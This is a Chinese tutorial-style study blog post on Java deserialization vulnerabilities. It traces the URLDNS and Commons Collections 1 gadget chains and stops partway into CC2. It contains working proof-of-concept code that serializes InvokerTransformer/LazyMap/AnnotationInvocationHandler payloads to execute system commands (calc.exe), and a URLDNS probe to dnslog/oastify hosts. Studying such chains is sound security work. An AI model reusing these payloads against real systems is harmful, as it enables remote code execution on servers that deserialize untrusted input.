✍内容 参考链接 java安全基础反序列化02 URLDNS利用链_哔哩哔哩_bilibili
浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)
深入理解 Java 反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)
【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)
IDEA常用快捷键 F7步入|F8步过|F9到下一个断点|ALT+F8评估表达式|Ctrl+F 文件内查找字符串|双击Shift 查找任何内容,可搜索类、资源、配置项、方法等,还能搜索路径|Ctrl + N 按类名搜索类|Ctrl + F12 查看当前类结构|Ctrl + H 查看类的层次关系|Alt + F7 查找类或方法在哪被使用
反序列化基础 参考:序列化和反序列化
URLDNS链分析 这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制
HashMap结合URL触发的DNS检查思路
利用链 1 2 3 4 5 6 7 8 9 HashMap --> readObject() HashMap --> hash() URL --> hashcode() URL --> getByName()进行域名解析的函数
利用分析
首先新建一个DnsTester类,new一个HashMap对象和一个URL对象
1 2 3 4 5 6 7 8 9 10 11 12 import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class DnsTester { public static void main(String[] args) throws MalformedURLException { HashMap list = new HashMap<>();//新建HashMap对象 URL host = new URL("http://yp1vwv.dnslog.cn"); list.put(host,"22"); } }
然后按住ctrl键,左键点击HashMap进入查看
点击查看结构窗口,然后找到readObject方法,找到下面有一个hash方法加密key
转到hash方法
可以看到传入hash方法中的是对象,然后使用对象的hashCode方法来进行加密
这条利用链用到的是URL类的hashCode方法
转到DnsTester类,然后ctrl+左键转到URL类中
找到hashCode方法,可以看到先是判断hashCode的值是不是-1,是的话就直接退出,不是的话就继续执行下面的代码
查看handler类中hashCode方法,ctrl+左键点击handler.hashCode()
这时候传入的是u,也就是我们一开始定义的URL对象
可以看到调用了URL对象的getHostAddress方法
转到getHostAddress方法
发现调用了InetAddress的getByName方法,这个方法的作用是通过DNS解析host的IP地址,利用链到这里就结束了
attention 但是我们需要的是需要将HashMap对象给序列化的,这样的话我们在反序列化前就会使用一次DNS解析,而这时候我们的本地就会有DNS记录,这时候我们将序列化的内容反序列化的时候就不会在dnslog平台产生请求记录了
解决方法 :其实这个对远程的目标有什么影响,只是会影响本地的复现而已,而且使用新版本的burpsuite的collabrator也没什么影响
解决方式一:刷新本地dns记录
ipconfig /flushdns
解决方法二:使用反射修改hashCode的值
按照思路,只要在put方法之前将URL对象传入之前使用反射的方法将hashCode的值修改成非-1即可,代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class DnsTester { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap list = new HashMap<>(); URL host = new URL("http://fyhgocmxl650362zx0g1cw4t5kbbz1nq.oastify.com"); //添加反射,获取URL类中的HashCode方法 Class c = Class.forName("java.net.URL"); Field FieldhashCode = c.getDeclaredField("hashCode"); FieldhashCode.setAccessible(true);// 变量为 private 修改访问权限 FieldhashCode.set(host,1);//这里传入的是具体的URL对象和想要设置的值,只要不是-1就行 list.put(host,"22");//因为这时候hashCode不是-1,所以这时候就不会发生dns请求了 FieldhashCode.set(host,-1);//将值改过来 //将HashMap对象list序列化写入文件 FileOutputStream fileOutputStream = new FileOutputStream("./ser.txt"); ObjectOutputStream serial = new ObjectOutputStream(fileOutputStream); serial.writeObject(list); serial.close(); fileOutputStream.close(); } }
重新新建一个java类文件写入反序列化代码,反序列化代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; public class DeSerial { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream("./ser.txt"); ObjectInputStream deserial = new ObjectInputStream(fileInputStream); deserial.readObject(); deserial.close(); fileInputStream.close(); } }
先运行序列化的代码,然后运行反序列化代码
如上图运行成功
注意 :对于java21来说不允许通过反射修改private,但是java8没问题
解决方法 :使用ysoserial中的利用方式
参考:https://paper.seebug.org/1242/#_2 https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#44f36f80
yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是,yso用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:
1 2 3 4 5 6 7 8 9 10 static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } }
定义了一个URLConnection和getHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,这里直接return null了,所以自然也就不会产生dns查询。
那么为什么在反序列化时又可以产生dns查询了呢?是因为这里的handler属性被设置为transient,前面说了被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。
总结
总结一下寻找漏洞的流程 : 1、hashmap类中的反序列化方法readObject方法中调用了hash方法 2、hash方法调用了传入的键值key对象的hashcode方法,因为这个对象是Object类型,所以传入有hashcode方法的对象即可 3、鼠标停在hashcode方法上,按快捷键ctrl+alt+F7 ,打开右上角的设置,选择找重写方法,选择查找范围为库,然后按alt+F7 进行查找,最后找到java.net.URL中有用到hashcode 4、找到hashcode方法是使用的handler对象的hashcode方法,handler对象是URLStreamHandler类的对象 5、转到URLStreamHandler类中hashCode方法,发现里面使用了getHostAddress方法 6、转到getHostAddress方法,发现方法u.getHostAddress(),u是URL对象,又返回到URL类中的getHostAddress()方法 7、转到URL类中的getHostAddress()方法,发现InetAddress.getByName(host) 8、上一步getByName方法就是做dns解析
流程图
1 2 3 4 5 6 hashmap(readObject)->hashmap(readObject-->>hash) ->hashmap(hash-->>[obj]hashcode) ->URL(hashcode-->>URLStreamHandler.hashcode) ->URLStreamHandler(hashcode-->>[InetAddress]getHostAddress) ->URLStreamHandler(getHostAddress-->>[URL]u.getHostAddress()) ->URL(InetAddress.getByName)
POC构造思路 目的是让hashmap反序列化的时候将key的对象执行hashcode方法, 而且执行的还要是URL类中的方法,所以我们需要传入一个URL类型的键到hashmap对象
1 2 3 HashMap list = new HashMap<>();//新建HashMap对象 URL host = new URL("http://yp1vwv.dnslog.cn"); list.put(host,"22");
Common Collections利用链分析 Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库
1 2 3 项目地址 官网: http://commons.apache.org/proper/commons-collections/ Github: https://github.com/apache/commons-collections
java源码环境搭建 因为在sun包中的都是class文件不是java源码,在查找某个函数的用法的时候只会在源码中找,所以需要下载sun包中的源码
下载地址:https://hg.openjdk.org/
根据网上所说的,在jdk8u65以后就修复了AnnotationInvocationHandler类的相关漏洞,所以最好下载jdk8u65以前的源码 jdk8u65源码路径:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
下载对应的版本的JDK,也就是JDK8u65
选择JDK8u65的JDK版本,然后安装配置项目JDK即可
将刚刚下载的jdk8u65源码解压,然后将src\share\classes中的sun文件夹复制到jdk8u65安装目录下的src.zip中
然后配置一下IDEA中的项目结构中JDK为8u65即可
然后找到AnnotationInvocationHandler类
出现问题了,可能是源码或者JDK下错了,按照这个思路没有错,但是源码啥的一定要对应,否则就会有这个问题
最后尝试了半天使用了java7u80版本,源码对应位置:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/a942e0b52477
Common Collections1
参考:Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili https://paper.seebug.org/1242/#_3
利用链
第一部分:构造Runtime执行命令,并且解决Runtime序列化问题
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
public ConstantTransformer(Object constantToReturn)
public ChainedTransformer(Transformer[] transformers)
第二部分:扩大利用链
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)
valueTransformer.transform()
第三部分:反序列化利用
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
readObject()–>>setValue()
setValue()–>>回到了TransformedMap的父类AbstractInputCheckedMapDecorator
难点就是父类重写了setvalue方法,这一步回到了父类
然后调用valueTransformer.transform(object);
详细见下面分析
环境搭建 因为不是自带的包,所以需要导入包到项目或者模块中才可以使用
这里使用maven导入比较简单哦
直接新建模块,选择maven 然后在pom.xml文件中添加版本3.1的commons-collections
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
然后右键,选择maven中的下载源代码即可下载java源代码
如此,环境便是已经搭建完毕
利用链分析 在commons collections中有一个Transformer接口 ,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。我们看一下有哪些类实现了这个接口,直接鼠标停留在Transformer接口的transformer方法上,然后按住ctrl+alt+B,就可以看到所有实现了
其中有众多类实现了此接口,cc中主要利用到了以下三个。
包路径如下:org.apache.commons.collections.functors.InvokerTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
这个类中的方法作用是传入一个类,然后利用反射调取这个里面的方法
其实最主要的漏洞就是这里了,只要我们创建InvokerTransformer对象,然后初始化的时候将我们的exec函数和想要执行的命令传进去,然后利用InvokerTransformer对象的transform方法将我们的Runtime对象传进去,就可以执行任意命令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CC1Tester { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); //这里根据定义的内容传入对应的参数,其实也是反射中调用类中函数的参数 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}); invokerTransformer.transform(runtime); } }
执行结果 可以看到成功的弹出了计算机,但是序列化的时候只能序列化一个对象,然后这个对象如果是传入了我们的payload代码,在反序列化的时候如果服务端后面没有用我们传入恶意代码的InvokerTransformer对象的transform方法传入一个Runtime类型的代码,那么还是没有办法执行任意命令
还需要实现的目的如下
找到直接调用InvokerTransformer类的transform方法的对象或者是方法
找到payload
好难⊙﹏⊙∥呜呜呜~~~
因为需要寻找调用transform方法的类,所以转到Transformer接口中,鼠标选中transform方法,按住ctrl+alt+B,发现了有一个ChainedTransformer的类中的transformer方法如下
1 2 3 4 5 6 public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
其中iTransformers是创建对象时传入的Transformer[]类型的数据
这个函数功能是从传入的Transformer数组中执行每一个的transform方法,并且将前面一个的返回结果传入后面一个对象的transform方法中,然后最后返回最后一个对象的transform函数执行的结果
这里解决了我们的执行InvokerTransformer对象的transform方法的问题
使用这个对象的方法的话,只要服务端有执行ChainedTransformer对象的transform方法的话就会触发rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CC1Tester { public static void main(String[] args) { //因为接口不能直接创建对象,所以这里使用的是匿名内部类的写法创建对象 Transformer[] transformers= new Transformer[]{new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.getRuntime()); } }
实现效果如下 但是这样反序列化后,还是需要服务端执行chainedTransformer.transform(Runtime.getRuntime());
这几乎是不可能的,所以我们现在要找到一个类既有transform方法,且传入InvokerTransformer对象的transform方法的值是Runtime.getRuntime()对象
找到ConstantTransformer对象的transform方法,作用是返回传入的对象
如果采用这个对象的方法的话,那么上面的问题就可以解决一半了
POC代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CC1Tester { public static void main(String[] args) { Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(111); } }
这里只是利用匿名类的方法将ConstantTransformer对象传入Transformer[]数组中,然后返回的值就是Runtime类型的,然后传入后面的transform方法,也就执行恶意代码了
执行结果
如此,只要我们将ChainedTransformer对象序列化,然后传给服务端,且服务端存在操作ChainedTransformer的transform方法的命令,那么就利用成功了,但是这样利用还是有点难以实现,如果直接反序列化就可以执行恶意代码就完美了
在解决这个问题之前还有一个问题需要解决,就是Runtime不能够被序列化,因为他没有实现Serializable接口
解决Runtime序列化问题 这里因为有InvokerTransformer类的存在,所以可以考虑如下方法:
首先,在ChainedTransformer大框架下面,利用ConstantTransformer将Class类的Runtime传入InvokerTransformer的transform方法中,利用其反射的功能调用getMethod方法,获取Runtime的getRuntime方法的Method对象,然后再使用InvokerTransformer的transform方法执行Runtime.getRuntime命令,然后将Runtime对象传给下一个InvokerTransformer的transform方法,然后执行系统命令。
思路:
InvokerTransformer1——>获取getRuntime的Method对象 InvokerTransformer2——>获取Rumtime对象 InvokerTransformer3——>执行Rumtime对象的exec命令
InvokerTransformer在这怎个过程中相当于一个代理,通过这个对象中的transform方法来调用
正常的反射写法:
1 2 3 4 5 Class cls = Runtime.class; Method getRuntimeMethod = cls.getMethod("getRuntime",null); Runtime r =(Runtime) getRuntimeMethod.invoke(null,null); Method execMethod = cls.getMethod("exec", String.class); execMethod.invoke(r,"calc.exe");
使用InvokerTransformer的写法:
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class), //执行下面这条语句得到getRuntime方法的Method对象并且传入下一条语句,getMethod有两个参数,所以这里参数也需要2个 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //执行下面这条语句相当于getRuntimeMethod.invoke(null,null),也就是会直接执行Runtime.getRuntime(),然后返回Runtime对象给下一条语句 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //执行下面这语句相当于执行execMethod.invoke(r,"calc.exe") new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(111);
这里的参数一定要写对,否则是复现不成功的,至此Runtime序列化的事情解决。
最终我们是要回到readObject方法的,所以我们需要一层层的往上找,直到找到一个函数直接被readObject调用
鼠标停留在transform函数上面,然后查找用法
然后点击设置图标就可以选择作用域
找到TransformedMap类中有多个调用transform方法的函数
分析查看该类
可以看到这个transformKey函数对keyTransformer进行操作,若是不为null的话就调用transform方法
查看keyTransformer是什么
可以看到keyTransformer是一个Transformer类型的成员变量,可以被我们所控制,只要创建对象时就可以传入,然后按照思路编写代码如下
1 2 3 4 5 Map map = new HashMap<>(); TransformedMap transformedMap = new TransformedMap(map,chain,null); transformedMap.transformKey(111); //chain是上面编写的,可参考上面
但是TransformedMap的构造方法是有protect修饰的,所以不能直接使用,幸好里面有一个public修饰的decorate方法可以直接创建一个新的TransformedMap对象
查看并分析decorate方法
1 2 3 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
decorate方法的最后一个参数是valueTransformer,key就写null就行了,这个valueTransformer就传chain
tip :用这个方法相当于Map map = new TransformedMap(—),也就是多态的写法
所以代码可以这样编写:
1 2 3 Map map = new HashMap<>(); Map transformedMap = TransformedMap.decorate(map,null,chain); transformedMap.trasformValue(111);
但是trasformValue方法是protect的,不能调用,只能寻找可以直接使用的调用trasformValue方法的方法
最后找到put方法
查看并且分析put方法
可以看到只要调用put就会调用transformValue方法,于是代码可以这样写:
1 2 3 4 5 6 7 8 9 ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})}); Map map = new HashMap<>(); Map transformedMap = TransformedMap.decorate(map,null,chain); transformedMap.put(null,111);
也就是说,只要服务端将反序列化的对象转换成Map类型,然后执行了put方法就可以执行命令
还是不够啊,需要直接使用readObject反序列化后直接执行命令才行啊
因为Map的put操作比较常见,换个思路,从readObject端思考,现在只需要找到readObject直接调用put方法的类就可以了
没有找到,找到所有的对Map对象进行操作的类,转到Map的用法,找到方法形参
找到了AnnotationInvocationHandler类的构造方法是传一个Map对象的
找到该类的readObject方法,发现有对Map对象进行操作
memberValue就是我们传入的值,readObject方法中有一个操作如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
但是看上面的操作,发现会对Map对象使用get操作,这时候我们只要找到对get方法操作有调用transform函数的即可,这时候转到tranform用法,发现了LazyMap中有使用get函数调用transform函数
然后发现了LazyMap中也有decorate方法,且该方法和TransformedMap一样的功能,新创建了一个LazyMap对象
如此,利用链便清晰了 _
完整POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})}); // chain.transform(111); Map map = new HashMap<>(); map.put("value","key"); Map transformmap = TransformedMap.decorate(map,null,chain); //因为AnnotationInvocationHandler的构造方法和参数不是public。所以需要使用反射来调用 Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); Object instance = handler_constructor.newInstance(Target.class,transformmap); FileOutputStream fileOutputStream = new FileOutputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(instance); outputStream.close(); fileOutputStream.close();
执行以上的代码后执行以下反序列化代码
1 2 3 4 5 FileInputStream fileInputStream = new FileInputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close();
注意 :若是运行出现java源错误,可以修改设置中的java字节版本到相应的版本,然后项目结构中的模块的语言结构也改成相应结构即可
代码解释 map.put(“value”,”key”); 这里的键一定要是value,值的话随便
因为在AnnotationInvocationHandler中要先判根据键的类型是否是空 因为我们传入的是Target注解,可以看到里面只有value
所以需要传入value,然后就会继续往下执行,直到调用setValue,然后又因为transformerMap继承于AbstractInputCheckedMapDecorator接口,然后里面重写了MapEntry类的setValue方法
然后里面又调用了checkSetValue方法,于是就执行transform方法
至此,利用链完成
Lazymap链 上面用到TransformedMap是为了解决transform函数调用问题,Lazymap类也可以解决这个问题,而且ysoserial也是用的这个方法,下面就分析一下
首先找到了get方法可以调用transform方法,而factory变量是由我们控制的,就是传创建对象时传入的Map对象
里面有一个decorate方法和TransformedMap类中的decorate方法一样也是帮助我们创建Lazymap对象的,所以按照参数创建即可,如此只要由readObject调用Map的get方法即可实现调用transform方法,即可执行我们的恶意命令
AnnotationInvocationHandler类中的Invoke方法刚好有调用get方法
AnnotationInvocationHandler实现了InvocationHandler,由动态代理的知识 可以想到AnnotationInvocationHandler可以建立动态代理
然后发现在readObject中调用了Map对象的entrySet方法 由此可以知道,只要AnnotationInvocationHandler建立Map的动态代理,然后将动态代理对象作为Map对象传入新的AnnotationInvocationHandler对象中,等到执行memberValues.entrySet()时就会先去AnnotationInvocationHandler中的involke中执行get方法,然后再回到LazyMap的get,就执行了transform
🎉代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})}); Map map = new HashMap<>(); Map lazymap = LazyMap.decorate(map,chain);//使用decorate创建对象 //因为AnnotationInvocationHandler对象的构造方法由protect修饰,所以需要使用反射来创建对象 Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); constructor1.setAccessible(true); //创建Map类的代理对象 InvocationHandler InProxy = (InvocationHandler)constructor1.newInstance(Override.class,lazymap); //这里的第一个参数一般是Obj.getClass().getClassLoader(),但是ClassLoader.getSystemClassLoader()也没什么影响 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},InProxy); //创建新的AnnotationInvocationHandler对象,并且将proxyMap传入 Object handler = constructor1.newInstance(Override.class,proxyMap); FileOutputStream fileOutputStream = new FileOutputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(handler); outputStream.close(); fileOutputStream.close(); }
执行序列化和反序列化后会报错,但是已经成功执行命令了,所以利用成功
Common Collection2
参考链接:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3
环境 :java8、CommonsCollections 4.0
前言 ✨需要掌握的前置知识:javasist ,ClassLoader#defineClass ,TemplatesImpl
javasist 是一个处理字节码的类库,能够动态的修改class中的字节码 为了介绍这个类。新建一个项目,导入这个依赖,导入依赖代码如下
1 2 3 4 5 <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
使用步骤 1、新建ClassPool ClassPool pool = ClassPool.getDefault(); 2、指定类搜索路径 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); 3、创建一个class文件对象 CtClass test = pool.makeClass(“Evil”); 重新设置名称 String name = “Evil” + System.nanoTime(); test.setName(name); 4、设置要继承的类 test.setSuperclass(pool.get(AbstractTranslet.class.getName())); 5、创建一个空的类初始化器(静态构造函数) CtConstructor constructor = test.makeClassInitializer(); 6、将字节码插入到开头(可选) constructor.insertBefore(“System.out.println("Hello,Javasist");”);
7、指定文件路径 test.writeFile(“./“); 这个路径就是项目的根目录
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*; import java.io.IOException; public class JavasistTest { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { //新建一个classpool类型的对象 ClassPool pool = ClassPool.getDefault(); //添加类搜索路径 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass test = pool.makeClass("Evil"); String cmd = "System.out.println(\"Hello,Javasist\");"; test.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = test.makeClassInitializer(); constructor.insertBefore(cmd); test.writeFile("./"); } }
生成一个Evil.class文件,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; public class Evil extends AbstractTranslet { static { System.out.println("Hello,Javasist"); } public Evil() { } }
ClassLoader#defineClass
简介 :ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类,ClassLoader有三个主要的函数loadClass 、findClass 、defineClass ,其中defineClass的作用就是处理传入的字节码,将其处理成真正的Java类,这里因为后面需要用到defineClass方法,这里简单的介绍下
示例代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class JavasistTest { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { //新建一个classpool类型的对象 ClassPool pool = ClassPool.getDefault(); //添加类搜索路径 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass test = pool.makeClass("Evil"); // String name = "Evil" + System.nanoTime(); // test.setName(name); String cmd = "System.out.println(\"Hello,Javasist\");"; test.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = test.makeClassInitializer(); //插入字节码到开头 constructor.insertBefore(cmd); test.writeFile("./"); Class cls = Class.forName("java.lang.ClassLoader"); Method method = cls.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); byte[] bytes = test.toBytecode(); Class clsEvil = (Class) method.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length); clsEvil.newInstance(); } }
执行后会将我们执行javassist生成的class文件中的字节码
注意 :ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,也就是说我们虽然构造了一个恶意的类能够使用这个defineClass加载,但是它不会执行静态方法,所以我们需要想办法调用返回的类的构造函数才能执行命令,如上面的代码使用clsEvil.newInstance()创建新的对象就会执行静态方法发
原因的话估计是这个ProtectionDomain类中方法的作用做了什么限制
但是这样需要明确调用构造函数并不太可能,所以我们可以尝试找一下没有显式的对定义域进行声明的defineClass方法
鼠标停在defineClass方法上按住alt+F7 查找所有的重载方法,找到了接下来要介绍的TemplatesImpl类
TemplatesImpl 一步步的分析,若是想要使用defineClass方法,则需要使用TemplatesImpl的内部类TransletClassLoaderTransletClassLoader.defineClass()
然后一层层的找,直到找到哪一个可以直接通过TemplatesImpl调用的
先查看调用TransletClassLoader的方法 defineTransletClasses方法调用了TransletClassLoader
然后根据这个方法,最终找到一条链
1 2 3 4 5 TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass()
这里一层层的往上找是因为defineClass()方法在defineClass类中,找到defineTransletClasses()调用该类,但是是private方法,所以继续往上找,找到一个public方法newTransformer(),往上找还有一个方法getOutputProperties()也可以
所以接下来需要分析怎么通过以上的链实现调用TemplatesImpl中的defineClass()方法
我们从newTransformer()开始分析 首先我们新建一个TemplatesImpl对象,然后调用newTransformer()方法或者是getOutputProperties()方法,这里使用反射的方法进行操作方便点
1 2 TemplatesImpl templates = TemplatesImpl.class.newInstance();
然后我们调用newTransformer()方法
1 templates.newTransformer();
但是这样是无法调用defineClass函数的,具体如下所示
调用newTransformer()方法是为了调用里面的getTransletInstance()方法,可以看到该方法中_name 不等于null,_class 等于null才可执行我们要执行的下一个函数defineTransletClasses()
我们转到声明处,发现是private属性的变量 所以我们需要利用反射的方法将这两个值设置一下,结合上面的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 TemplatesImpl templates = TemplatesImpl.class.newInstance();Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" );Field _name = temp.getDeclaredField("_name" );_name.setAccessible(true ); _name.set(templates,"tttt" ); Field _class = temp.getDeclaredField("_class" );_class.setAccessible(true ); _class.set(templates,null ) templates.newTransformer();
继续回到分析,上一步已经到了getTransletInstance(),并且条件我们已经顺利满足,继续执行下一个函数defineTransletClasses()
可以看到需要实现两个条件,一个是_bytecodes不为null,其实就是要传入我们的恶意类的字节码,一个是父类要是ABSTRACT_TRANSLET,他们的类型和值如下所示
看了一下,AbstractTranslet是一个抽象类,只需要在利用javasist创建恶意字节代码时继承这个类就行了
然后调用defineClass方法需要新建TransletClassLoader对象loader,在其中定义了一个函数需要使用_tfactory ,所以修改后的代码如下
